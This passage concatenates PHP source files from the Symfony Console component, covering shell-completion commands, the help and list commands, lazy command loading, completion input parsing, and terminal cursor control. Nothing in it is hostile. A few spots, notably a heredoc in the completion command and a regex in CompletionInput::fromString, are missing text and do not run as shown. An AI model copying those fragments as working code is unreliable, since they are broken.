= $suggestions->getValueSuggestions()) { $this->log(' '.implode(' ', $values)); } else { $this->log(' No suggestions were provided'); } $completionOutput->write($suggestions, $output); } catch (\Throwable $e) { $this->log([ 'Error!', (string) $e, ]); if ($output->isDebug()) { throw $e; } return 2; } return 0; } private function createCompletionInput(InputInterface $input): CompletionInput { $currentIndex = $input->getOption('current'); if (!$currentIndex || !ctype_digit($currentIndex)) { throw new \RuntimeException('The "--current" option must be set and it must be an integer.'); } $completionInput = CompletionInput::fromTokens($input->getOption('input'), (int) $currentIndex); try { $completionInput->bind($this->getApplication()->getDefinition()); } catch (ExceptionInterface $e) { } return $completionInput; } private function findCommand(CompletionInput $completionInput, OutputInterface $output): ?Command { try { $inputName = $completionInput->getFirstArgument(); if (null === $inputName) { return null; } return $this->getApplication()->find($inputName); } catch (CommandNotFoundException $e) { } return null; } private function log($messages): void { if (!$this->isDebug) { return; } $commandName = basename($_SERVER['argv'][0]); file_put_contents(sys_get_temp_dir().'/sf_'.$commandName.'.log', implode(\PHP_EOL, (array) $messages).\PHP_EOL, \FILE_APPEND); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Process\Process; /** * Dumps the completion script for the current shell. * * @author Wouter de Jong */ final class DumpCompletionCommand extends Command { protected static $defaultName = 'completion'; protected static $defaultDescription = 'Dump the shell completion script'; public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { if ($input->mustSuggestArgumentValuesFor('shell')) { $suggestions->suggestValues($this->getSupportedShells()); } } protected function configure() { $fullCommand = $_SERVER['PHP_SELF']; $commandName = basename($fullCommand); $fullCommand = @realpath($fullCommand) ?: $fullCommand; $this ->setHelp(<<%command.name% command dumps the shell completion script required to use shell autocompletion (currently only bash completion is supported). Static installation ------------------- Dump the script to a global completion file and restart your shell: %command.full_name% bash | sudo tee /etc/bash_completion.d/{$commandName} Or dump the script to a local file and source it: %command.full_name% bash > completion.sh # source the file whenever you use the project source completion.sh # or add this line at the end of your "~/.bashrc" file: source /path/to/completion.sh Dynamic installation -------------------- Add this to the end of your shell configuration file (e.g. "~/.bashrc"): eval "$({$fullCommand} completion bash)" EOH ) ->addArgument('shell', InputArgument::OPTIONAL, 'The shell type (e.g. "bash"), the value of the "$SHELL" env var will be used if this is not given') ->addOption('debug', null, InputOption::VALUE_NONE, 'Tail the completion debug log') ; } protected function execute(InputInterface $input, OutputInterface $output): int { $commandName = basename($_SERVER['argv'][0]); if ($input->getOption('debug')) { $this->tailDebugLog($commandName, $output); return 0; } $shell = $input->getArgument('shell') ?? self::guessShell(); $completionFile = __DIR__.'/../Resources/completion.'.$shell; if (!file_exists($completionFile)) { $supportedShells = $this->getSupportedShells(); if ($output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } if ($shell) { $output->writeln(sprintf('Detected shell "%s", which is not supported by Symfony shell completion (supported shells: "%s").', $shell, implode('", "', $supportedShells))); } else { $output->writeln(sprintf('Shell not detected, Symfony shell completion only supports "%s").', implode('", "', $supportedShells))); } return 2; } $output->write(str_replace(['{{ COMMAND_NAME }}', '{{ VERSION }}'], [$commandName, $this->getApplication()->getVersion()], file_get_contents($completionFile))); return 0; } private static function guessShell(): string { return basename($_SERVER['SHELL'] ?? ''); } private function tailDebugLog(string $commandName, OutputInterface $output): void { $debugFile = sys_get_temp_dir().'/sf_'.$commandName.'.log'; if (!file_exists($debugFile)) { touch($debugFile); } $process = new Process(['tail', '-f', $debugFile], null, null, null, 0); $process->run(function (string $type, string $line) use ($output): void { $output->write($line); }); } /** * @return string[] */ private function getSupportedShells(): array { $shells = []; foreach (new \DirectoryIterator(__DIR__.'/../Resources/') as $file) { if (str_starts_with($file->getBasename(), 'completion.') && $file->isFile()) { $shells[] = $file->getExtension(); } } return $shells; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Descriptor\ApplicationDescription; use Symfony\Component\Console\Helper\DescriptorHelper; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * HelpCommand displays the help for a given command. * * @author Fabien Potencier */ class HelpCommand extends Command { private $command; /** * {@inheritdoc} */ protected function configure() { $this->ignoreValidationErrors(); $this ->setName('help') ->setDefinition([ new InputArgument('command_name', InputArgument::OPTIONAL, 'The command name', 'help'), new InputOption('format', null, InputOption::VALUE_REQUIRED, 'The output format (txt, xml, json, or md)', 'txt'), new InputOption('raw', null, InputOption::VALUE_NONE, 'To output raw command help'), ]) ->setDescription('Display help for a command') ->setHelp(<<<'EOF' The %command.name% command displays help for a given command: %command.full_name% list You can also output the help in other formats by using the --format option: %command.full_name% --format=xml list To display the list of available commands, please use the list command. EOF ) ; } public function setCommand(Command $command) { $this->command = $command; } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { if (null === $this->command) { $this->command = $this->getApplication()->find($input->getArgument('command_name')); } $helper = new DescriptorHelper(); $helper->describe($output, $this->command, [ 'format' => $input->getOption('format'), 'raw_text' => $input->getOption('raw'), ]); $this->command = null; return 0; } public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { if ($input->mustSuggestArgumentValuesFor('command_name')) { $descriptor = new ApplicationDescription($this->getApplication()); $suggestions->suggestValues(array_keys($descriptor->getCommands())); return; } if ($input->mustSuggestOptionValuesFor('format')) { $helper = new DescriptorHelper(); $suggestions->suggestValues($helper->getFormats()); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Application; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * @author Nicolas Grekas */ final class LazyCommand extends Command { private $command; private $isEnabled; public function __construct(string $name, array $aliases, string $description, bool $isHidden, \Closure $commandFactory, ?bool $isEnabled = true) { $this->setName($name) ->setAliases($aliases) ->setHidden($isHidden) ->setDescription($description); $this->command = $commandFactory; $this->isEnabled = $isEnabled; } public function ignoreValidationErrors(): void { $this->getCommand()->ignoreValidationErrors(); } public function setApplication(?Application $application = null): void { if ($this->command instanceof parent) { $this->command->setApplication($application); } parent::setApplication($application); } public function setHelperSet(HelperSet $helperSet): void { if ($this->command instanceof parent) { $this->command->setHelperSet($helperSet); } parent::setHelperSet($helperSet); } public function isEnabled(): bool { return $this->isEnabled ?? $this->getCommand()->isEnabled(); } public function run(InputInterface $input, OutputInterface $output): int { return $this->getCommand()->run($input, $output); } public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { $this->getCommand()->complete($input, $suggestions); } /** * @return $this */ public function setCode(callable $code): self { $this->getCommand()->setCode($code); return $this; } /** * @internal */ public function mergeApplicationDefinition(bool $mergeArgs = true): void { $this->getCommand()->mergeApplicationDefinition($mergeArgs); } /** * @return $this */ public function setDefinition($definition): self { $this->getCommand()->setDefinition($definition); return $this; } public function getDefinition(): InputDefinition { return $this->getCommand()->getDefinition(); } public function getNativeDefinition(): InputDefinition { return $this->getCommand()->getNativeDefinition(); } /** * @return $this */ public function addArgument(string $name, ?int $mode = null, string $description = '', $default = null): self { $this->getCommand()->addArgument($name, $mode, $description, $default); return $this; } /** * @return $this */ public function addOption(string $name, $shortcut = null, ?int $mode = null, string $description = '', $default = null): self { $this->getCommand()->addOption($name, $shortcut, $mode, $description, $default); return $this; } /** * @return $this */ public function setProcessTitle(string $title): self { $this->getCommand()->setProcessTitle($title); return $this; } /** * @return $this */ public function setHelp(string $help): self { $this->getCommand()->setHelp($help); return $this; } public function getHelp(): string { return $this->getCommand()->getHelp(); } public function getProcessedHelp(): string { return $this->getCommand()->getProcessedHelp(); } public function getSynopsis(bool $short = false): string { return $this->getCommand()->getSynopsis($short); } /** * @return $this */ public function addUsage(string $usage): self { $this->getCommand()->addUsage($usage); return $this; } public function getUsages(): array { return $this->getCommand()->getUsages(); } /** * @return mixed */ public function getHelper(string $name) { return $this->getCommand()->getHelper($name); } public function getCommand(): parent { if (!$this->command instanceof \Closure) { return $this->command; } $command = $this->command = ($this->command)(); $command->setApplication($this->getApplication()); if (null !== $this->getHelperSet()) { $command->setHelperSet($this->getHelperSet()); } $command->setName($this->getName()) ->setAliases($this->getAliases()) ->setHidden($this->isHidden()) ->setDescription($this->getDescription()); // Will throw if the command is not correctly initialized. $command->getDefinition(); return $command; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Descriptor\ApplicationDescription; use Symfony\Component\Console\Helper\DescriptorHelper; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * ListCommand displays the list of all available commands for the application. * * @author Fabien Potencier */ class ListCommand extends Command { /** * {@inheritdoc} */ protected function configure() { $this ->setName('list') ->setDefinition([ new InputArgument('namespace', InputArgument::OPTIONAL, 'The namespace name'), new InputOption('raw', null, InputOption::VALUE_NONE, 'To output raw command list'), new InputOption('format', null, InputOption::VALUE_REQUIRED, 'The output format (txt, xml, json, or md)', 'txt'), new InputOption('short', null, InputOption::VALUE_NONE, 'To skip describing commands\' arguments'), ]) ->setDescription('List commands') ->setHelp(<<<'EOF' The %command.name% command lists all commands: %command.full_name% You can also display the commands for a specific namespace: %command.full_name% test You can also output the information in other formats by using the --format option: %command.full_name% --format=xml It's also possible to get raw list of commands (useful for embedding command runner): %command.full_name% --raw EOF ) ; } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { $helper = new DescriptorHelper(); $helper->describe($output, $this->getApplication(), [ 'format' => $input->getOption('format'), 'raw_text' => $input->getOption('raw'), 'namespace' => $input->getArgument('namespace'), 'short' => $input->getOption('short'), ]); return 0; } public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { if ($input->mustSuggestArgumentValuesFor('namespace')) { $descriptor = new ApplicationDescription($this->getApplication()); $suggestions->suggestValues(array_keys($descriptor->getNamespaces())); return; } if ($input->mustSuggestOptionValuesFor('format')) { $helper = new DescriptorHelper(); $suggestions->suggestValues($helper->getFormats()); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Exception\LogicException; use Symfony\Component\Lock\LockFactory; use Symfony\Component\Lock\LockInterface; use Symfony\Component\Lock\Store\FlockStore; use Symfony\Component\Lock\Store\SemaphoreStore; /** * Basic lock feature for commands. * * @author Geoffrey Brier */ trait LockableTrait { /** @var LockInterface|null */ private $lock; /** * Locks a command. */ private function lock(?string $name = null, bool $blocking = false): bool { if (!class_exists(SemaphoreStore::class)) { throw new LogicException('To enable the locking feature you must install the symfony/lock component.'); } if (null !== $this->lock) { throw new LogicException('A lock is already in place.'); } if (SemaphoreStore::isSupported()) { $store = new SemaphoreStore(); } else { $store = new FlockStore(); } $this->lock = (new LockFactory($store))->createLock($name ?: $this->getName()); if (!$this->lock->acquire($blocking)) { $this->lock = null; return false; } return true; } /** * Releases the command lock if there is one. */ private function release() { if ($this->lock) { $this->lock->release(); $this->lock = null; } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; /** * Interface for command reacting to signal. * * @author Grégoire Pineau */ interface SignalableCommandInterface { /** * Returns the list of signals to subscribe. */ public function getSubscribedSignals(): array; /** * The method will be called when the application is signaled. */ public function handleSignal(int $signal): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\CommandLoader; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Exception\CommandNotFoundException; /** * @author Robin Chalas */ interface CommandLoaderInterface { /** * Loads a command. * * @return Command * * @throws CommandNotFoundException */ public function get(string $name); /** * Checks if a command exists. * * @return bool */ public function has(string $name); /** * @return string[] */ public function getNames(); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\CommandLoader; use Psr\Container\ContainerInterface; use Symfony\Component\Console\Exception\CommandNotFoundException; /** * Loads commands from a PSR-11 container. * * @author Robin Chalas */ class ContainerCommandLoader implements CommandLoaderInterface { private $container; private $commandMap; /** * @param array $commandMap An array with command names as keys and service ids as values */ public function __construct(ContainerInterface $container, array $commandMap) { $this->container = $container; $this->commandMap = $commandMap; } /** * {@inheritdoc} */ public function get(string $name) { if (!$this->has($name)) { throw new CommandNotFoundException(sprintf('Command "%s" does not exist.', $name)); } return $this->container->get($this->commandMap[$name]); } /** * {@inheritdoc} */ public function has(string $name) { return isset($this->commandMap[$name]) && $this->container->has($this->commandMap[$name]); } /** * {@inheritdoc} */ public function getNames() { return array_keys($this->commandMap); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\CommandLoader; use Symfony\Component\Console\Exception\CommandNotFoundException; /** * A simple command loader using factories to instantiate commands lazily. * * @author Maxime Steinhausser */ class FactoryCommandLoader implements CommandLoaderInterface { private $factories; /** * @param callable[] $factories Indexed by command names */ public function __construct(array $factories) { $this->factories = $factories; } /** * {@inheritdoc} */ public function has(string $name) { return isset($this->factories[$name]); } /** * {@inheritdoc} */ public function get(string $name) { if (!isset($this->factories[$name])) { throw new CommandNotFoundException(sprintf('Command "%s" does not exist.', $name)); } $factory = $this->factories[$name]; return $factory(); } /** * {@inheritdoc} */ public function getNames() { return array_keys($this->factories); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Input\ArgvInput; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; /** * An input specialized for shell completion. * * This input allows unfinished option names or values and exposes what kind of * completion is expected. * * @author Wouter de Jong */ final class CompletionInput extends ArgvInput { public const TYPE_ARGUMENT_VALUE = 'argument_value'; public const TYPE_OPTION_VALUE = 'option_value'; public const TYPE_OPTION_NAME = 'option_name'; public const TYPE_NONE = 'none'; private $tokens; private $currentIndex; private $completionType; private $completionName = null; private $completionValue = ''; /** * Converts a terminal string into tokens. * * This is required for shell completions without COMP_WORDS support. */ public static function fromString(string $inputStr, int $currentIndex): self { preg_match_all('/(?<=^|\s)([\'"]?)(.+?)(?tokens = $tokens; $input->currentIndex = $currentIndex; return $input; } /** * {@inheritdoc} */ public function bind(InputDefinition $definition): void { parent::bind($definition); $relevantToken = $this->getRelevantToken(); if ('-' === $relevantToken[0]) { // the current token is an input option: complete either option name or option value [$optionToken, $optionValue] = explode('=', $relevantToken, 2) + ['', '']; $option = $this->getOptionFromToken($optionToken); if (null === $option && !$this->isCursorFree()) { $this->completionType = self::TYPE_OPTION_NAME; $this->completionValue = $relevantToken; return; } if (null !== $option && $option->acceptValue()) { $this->completionType = self::TYPE_OPTION_VALUE; $this->completionName = $option->getName(); $this->completionValue = $optionValue ?: (!str_starts_with($optionToken, '--') ? substr($optionToken, 2) : ''); return; } } $previousToken = $this->tokens[$this->currentIndex - 1]; if ('-' === $previousToken[0] && '' !== trim($previousToken, '-')) { // check if previous option accepted a value $previousOption = $this->getOptionFromToken($previousToken); if (null !== $previousOption && $previousOption->acceptValue()) { $this->completionType = self::TYPE_OPTION_VALUE; $this->completionName = $previousOption->getName(); $this->completionValue = $relevantToken; return; } } // complete argument value $this->completionType = self::TYPE_ARGUMENT_VALUE; foreach ($this->definition->getArguments() as $argumentName => $argument) { if (!isset($this->arguments[$argumentName])) { break; } $argumentValue = $this->arguments[$argumentName]; $this->completionName = $argumentName; if (\is_array($argumentValue)) { $this->completionValue = $argumentValue ? $argumentValue[array_key_last($argumentValue)] : null; } else { $this->completionValue = $argumentValue; } } if ($this->currentIndex >= \count($this->tokens)) { if (!isset($this->arguments[$argumentName]) || $this->definition->getArgument($argumentName)->isArray()) { $this->completionName = $argumentName; $this->completionValue = ''; } else { // we've reached the end $this->completionType = self::TYPE_NONE; $this->completionName = null; $this->completionValue = ''; } } } /** * Returns the type of completion required. * * TYPE_ARGUMENT_VALUE when completing the value of an input argument * TYPE_OPTION_VALUE when completing the value of an input option * TYPE_OPTION_NAME when completing the name of an input option * TYPE_NONE when nothing should be completed * * @return string One of self::TYPE_* constants. TYPE_OPTION_NAME and TYPE_NONE are already implemented by the Console component */ public function getCompletionType(): string { return $this->completionType; } /** * The name of the input option or argument when completing a value. * * @return string|null returns null when completing an option name */ public function getCompletionName(): ?string { return $this->completionName; } /** * The value already typed by the user (or empty string). */ public function getCompletionValue(): string { return $this->completionValue; } public function mustSuggestOptionValuesFor(string $optionName): bool { return self::TYPE_OPTION_VALUE === $this->getCompletionType() && $optionName === $this->getCompletionName(); } public function mustSuggestArgumentValuesFor(string $argumentName): bool { return self::TYPE_ARGUMENT_VALUE === $this->getCompletionType() && $argumentName === $this->getCompletionName(); } protected function parseToken(string $token, bool $parseOptions): bool { try { return parent::parseToken($token, $parseOptions); } catch (RuntimeException $e) { // suppress errors, completed input is almost never valid } return $parseOptions; } private function getOptionFromToken(string $optionToken): ?InputOption { $optionName = ltrim($optionToken, '-'); if (!$optionName) { return null; } if ('-' === ($optionToken[1] ?? ' ')) { // long option name return $this->definition->hasOption($optionName) ? $this->definition->getOption($optionName) : null; } // short option name return $this->definition->hasShortcut($optionName[0]) ? $this->definition->getOptionForShortcut($optionName[0]) : null; } /** * The token of the cursor, or the last token if the cursor is at the end of the input. */ private function getRelevantToken(): string { return $this->tokens[$this->isCursorFree() ? $this->currentIndex - 1 : $this->currentIndex]; } /** * Whether the cursor is "free" (i.e. at the end of the input preceded by a space). */ private function isCursorFree(): bool { $nrOfTokens = \count($this->tokens); if ($this->currentIndex > $nrOfTokens) { throw new \LogicException('Current index is invalid, it must be the number of input tokens or one more.'); } return $this->currentIndex >= $nrOfTokens; } public function __toString() { $str = ''; foreach ($this->tokens as $i => $token) { $str .= $token; if ($this->currentIndex === $i) { $str .= '|'; } $str .= ' '; } if ($this->currentIndex > $i) { $str .= '|'; } return rtrim($str); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion; use Symfony\Component\Console\Input\InputOption; /** * Stores all completion suggestions for the current input. * * @author Wouter de Jong */ final class CompletionSuggestions { private $valueSuggestions = []; private $optionSuggestions = []; /** * Add a suggested value for an input option or argument. * * @param string|Suggestion $value * * @return $this */ public function suggestValue($value): self { $this->valueSuggestions[] = !$value instanceof Suggestion ? new Suggestion($value) : $value; return $this; } /** * Add multiple suggested values at once for an input option or argument. * * @param list $values * * @return $this */ public function suggestValues(array $values): self { foreach ($values as $value) { $this->suggestValue($value); } return $this; } /** * Add a suggestion for an input option name. * * @return $this */ public function suggestOption(InputOption $option): self { $this->optionSuggestions[] = $option; return $this; } /** * Add multiple suggestions for input option names at once. * * @param InputOption[] $options * * @return $this */ public function suggestOptions(array $options): self { foreach ($options as $option) { $this->suggestOption($option); } return $this; } /** * @return InputOption[] */ public function getOptionSuggestions(): array { return $this->optionSuggestions; } /** * @return Suggestion[] */ public function getValueSuggestions(): array { return $this->valueSuggestions; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion\Output; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Output\OutputInterface; /** * @author Wouter de Jong */ class BashCompletionOutput implements CompletionOutputInterface { public function write(CompletionSuggestions $suggestions, OutputInterface $output): void { $values = $suggestions->getValueSuggestions(); foreach ($suggestions->getOptionSuggestions() as $option) { $values[] = '--'.$option->getName(); if ($option->isNegatable()) { $values[] = '--no-'.$option->getName(); } } $output->writeln(implode("\n", $values)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion\Output; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Output\OutputInterface; /** * Transforms the {@see CompletionSuggestions} object into output readable by the shell completion. * * @author Wouter de Jong */ interface CompletionOutputInterface { public function write(CompletionSuggestions $suggestions, OutputInterface $output): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion; /** * Represents a single suggested value. * * @author Wouter de Jong */ class Suggestion { private $value; public function __construct(string $value) { $this->value = $value; } public function getValue(): string { return $this->value; } public function __toString(): string { return $this->getValue(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; use Symfony\Component\Console\Event\ConsoleCommandEvent; use Symfony\Component\Console\Event\ConsoleErrorEvent; use Symfony\Component\Console\Event\ConsoleSignalEvent; use Symfony\Component\Console\Event\ConsoleTerminateEvent; /** * Contains all events dispatched by an Application. * * @author Francesco Levorato */ final class ConsoleEvents { /** * The COMMAND event allows you to attach listeners before any command is * executed by the console. It also allows you to modify the command, input and output * before they are handed to the command. * * @Event("Symfony\Component\Console\Event\ConsoleCommandEvent") */ public const COMMAND = 'console.command'; /** * The SIGNAL event allows you to perform some actions * after the command execution was interrupted. * * @Event("Symfony\Component\Console\Event\ConsoleSignalEvent") */ public const SIGNAL = 'console.signal'; /** * The TERMINATE event allows you to attach listeners after a command is * executed by the console. * * @Event("Symfony\Component\Console\Event\ConsoleTerminateEvent") */ public const TERMINATE = 'console.terminate'; /** * The ERROR event occurs when an uncaught exception or error appears. * * This event allows you to deal with the exception/error or * to modify the thrown exception. * * @Event("Symfony\Component\Console\Event\ConsoleErrorEvent") */ public const ERROR = 'console.error'; /** * Event aliases. * * These aliases can be consumed by RegisterListenersPass. */ public const ALIASES = [ ConsoleCommandEvent::class => self::COMMAND, ConsoleErrorEvent::class => self::ERROR, ConsoleSignalEvent::class => self::SIGNAL, ConsoleTerminateEvent::class => self::TERMINATE, ]; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; use Symfony\Component\Console\Output\OutputInterface; /** * @author Pierre du Plessis */ final class Cursor { private $output; private $input; /** * @param resource|null $input */ public function __construct(OutputInterface $output, $input = null) { $this->output = $output; $this->input = $input ?? (\defined('STDIN') ? \STDIN : fopen('php://input', 'r+')); } /** * @return $this */ public function moveUp(int $lines = 1): self { $this->output->write(sprintf("\x1b[%dA", $lines)); return $this; } /** * @return $this */ public function moveDown(int $lines = 1): self { $this->output->write(sprintf("\x1b[%dB", $lines)); return $this; } /** * @return $this */ public function moveRight(int $columns = 1): self { $this->output->write(sprintf("\x1b[%dC", $columns)); return $this; } /** * @return $this */ public function moveLeft(int $columns = 1): self { $this->output->write(sprintf("\x1b[%dD", $columns)); return $this; } /** * @return $this */ public function moveToColumn(int $column): self { $this->output->write(sprintf("\x1b[%dG", $column)); return $this; } /** * @return $this */ public function moveToPosition(int $column, int $row): self { $this->output->write(sprintf("\x1b[%d;%dH", $row + 1, $column)); return $this; } /** * @return $this */ public function savePosition(): self { $this->output->write("\x1b7"); return $this; } /** * @return $this */ public function restorePosition(): self { $this->output->write("\x1b8"); return $this; } /** * @return $this */ public function hide(): self { $this->output->write("\x1b[?25l"); return $this; } /** * @return $this */ public function show(): self { $this->output->write("\x1b[?25h\x1b[?0c"); return $this; } /** * Clears all the output from the current line. * * @return $this */ public function clearLine(): self { $this->output->write("\x1b[2K"); return $this; } /** * Clears all the output from the current line after the current position. */ public function clearLineAfter(): self { $this->output->write("\x1b[K"); return $this; } /** * Clears all the output from the cursors' current position to the end of the screen. * * @return $this */ public function clearOutput(): self { $this->output->write("\x1b[0J"); return $this; } /** * Clears the entire screen. * * @return $this */ public function clearScreen(): self { $this->output->write("\x1b[2J"); return $this; } /** * Returns the current cursor position as x,y coordinates. */ public function getCurrentPosition(): array { static $isTtySupported; if (null === $isTtySupported && \function_exists('proc_open')) { $isTtySupported = (bool) @proc_open('echo 1 >/dev/null', [['file', '/dev/tty', 'r'], ['file', '/dev/tty', 'w'], ['file', '/dev/tty', 'w']], $pipes); } if (!$isTtySupported) { return [1, 1]; } $sttyMode = shell_exec('stty -g'); shell_exec('stty -icanon -echo'); @fwrite($this->input, "\033[6n"); $code = trim(fread($this->input, 1024)); shell_exec(sprintf('stty %s', $sttyMode)); sscanf($code, "\033[%d;%dR", $row, $col); return [$col, $row]; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\DependencyInjection; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Command\LazyCommand; use Symfony\Component\Console\CommandLoader\ContainerCommandLoader; use Symfony\Component\DependencyInjection\Argument\ServiceClosureArgument; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\Compiler\ServiceLocatorTagPass; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Exception\InvalidArgumentException; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\DependencyInjection\TypedReference; /** * Registers console commands. * * @author Grégoire Pineau */ class AddConsoleCommandPass implements CompilerPassInterface { private $commandLoaderServiceId; private $commandTag; private $noPreloadTag; private $privateTagName; public function __construct(string $commandLoaderServiceId = 'console.command_loader', string $commandTag = 'console.command', string $noPreloadTag = 'container.no_preload', string $privateTagName = 'container.private') { if (0 < \func_num_args()) { trigger_deprecation('symfony/console', '5.3', 'Configuring "%s" is deprecated.', __CLASS__); } $this->commandLoaderServiceId = $commandLoaderServiceId; $this->commandTag = $commandTag; $this->noPreloadTag = $noPreloadTag; $this->privateTagName = $privateTagName; } public function process(ContainerBuilder $container) { $commandServices = $container->findTaggedServiceIds($this->commandTag, true); $lazyCommandMap = []; $lazyCommandRefs = []; $serviceIds = []; foreach ($commandServices as $id => $tags) { $definition = $container->getDefinition($id); $definition->addTag($this->noPreloadTag); $class = $container->getParameterBag()->resolveValue($definition->getClass()); if (isset($tags[0]['command'])) { $aliases = $tags[0]['command']; } else { if (!$r = $container->getReflectionClass($class)) { throw new InvalidArgumentException(sprintf('Class "%s" used for service "%s" cannot be found.', $class, $id)); } if (!$r->isSubclassOf(Command::class)) { throw new InvalidArgumentException(sprintf('The service "%s" tagged "%s" must be a subclass of "%s".', $id, $this->commandTag, Command::class)); } $aliases = str_replace('%', '%%', $class::getDefaultName() ?? ''); } $aliases = explode('|', $aliases ?? ''); $commandName = array_shift($aliases); if ($isHidden = '' === $commandName) { $commandName = array_shift($aliases); } if (null === $commandName) { if (!$definition->isPublic() || $definition->isPrivate() || $definition->hasTag($this->privateTagName)) { $commandId = 'console.command.public_alias.'.$id; $container->setAlias($commandId, $id)->setPublic(true); $id = $commandId; } $serviceIds[] = $id; continue; } $description = $tags[0]['description'] ?? null; unset($tags[0]); $lazyCommandMap[$commandName] = $id; $lazyCommandRefs[$id] = new TypedReference($id, $class); foreach ($aliases as $alias) { $lazyCommandMap[$alias] = $id; } foreach ($tags as $tag) { if (isset($tag['command'])) { $aliases[] = $tag['command']; $lazyCommandMap[$tag['command']] = $id; } $description = $description ?? $tag['description'] ?? null; } $definition->addMethodCall('setName', [$commandName]); if ($aliases) { $definition->addMethodCall('setAliases', [$aliases]); } if ($isHidden) { $definition->addMethodCall('setHidden', [true]); } if (!$description) { if (!$r = $container->getReflectionClass($class)) { throw new InvalidArgumentException(sprintf('Class "%s" used for service "%s" cannot be found.', $class, $id)); } if (!$r->isSubclassOf(Command::class)) { throw new InvalidArgumentException(sprintf('The service "%s" tagged "%s" must be a subclass of "%s".', $id, $this->commandTag, Command::class)); } $description = str_replace('%', '%%', $class::getDefaultDescription() ?? ''); } if ($description) { $definition->addMethodCall('setDescription', [$description]); $container->register('.'.$id.'.lazy', LazyCommand::class) ->setArguments([$commandName, $aliases, $description, $isHidden, new ServiceClosureArgument($lazyCommandRefs[$id])]); $lazyCommandRefs[$id] = new Reference('.'.$id.'.lazy'); } } $container ->register($this->commandLoaderServiceId, ContainerCommandLoader::class) ->setPublic(true) ->addTag($this->noPreloadTag) ->setArguments([ServiceLocatorTagPass::register($container, $lazyCommandRefs), $lazyCommandMap]); $container->setParameter('console.command.ids', $serviceIds); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Exception\CommandNotFoundException; /** * @author Jean-François Simon * * @internal */ class ApplicationDescription { public const GLOBAL_NAMESPACE = '_global'; private $application; private $namespace; private $showHidden; /** * @var array */ private $namespaces; /** * @var array */ private $commands; /** * @var array */ private $aliases; public function __construct(Application $application, ?string $namespace = null, bool $showHidden = false) { $this->application = $application; $this->namespace = $namespace; $this->showHidden = $showHidden; } public function getNamespaces(): array { if (null === $this->namespaces) { $this->inspectApplication(); } return $this->namespaces; } /** * @return Command[] */ public function getCommands(): array { if (null === $this->commands) { $this->inspectApplication(); } return $this->commands; } /** * @throws CommandNotFoundException */ public function getCommand(string $name): Command { if (!isset($this->commands[$name]) && !isset($this->aliases[$name])) { throw new CommandNotFoundException(sprintf('Command "%s" does not exist.', $name)); } return $this->commands[$name] ?? $this->aliases[$name]; 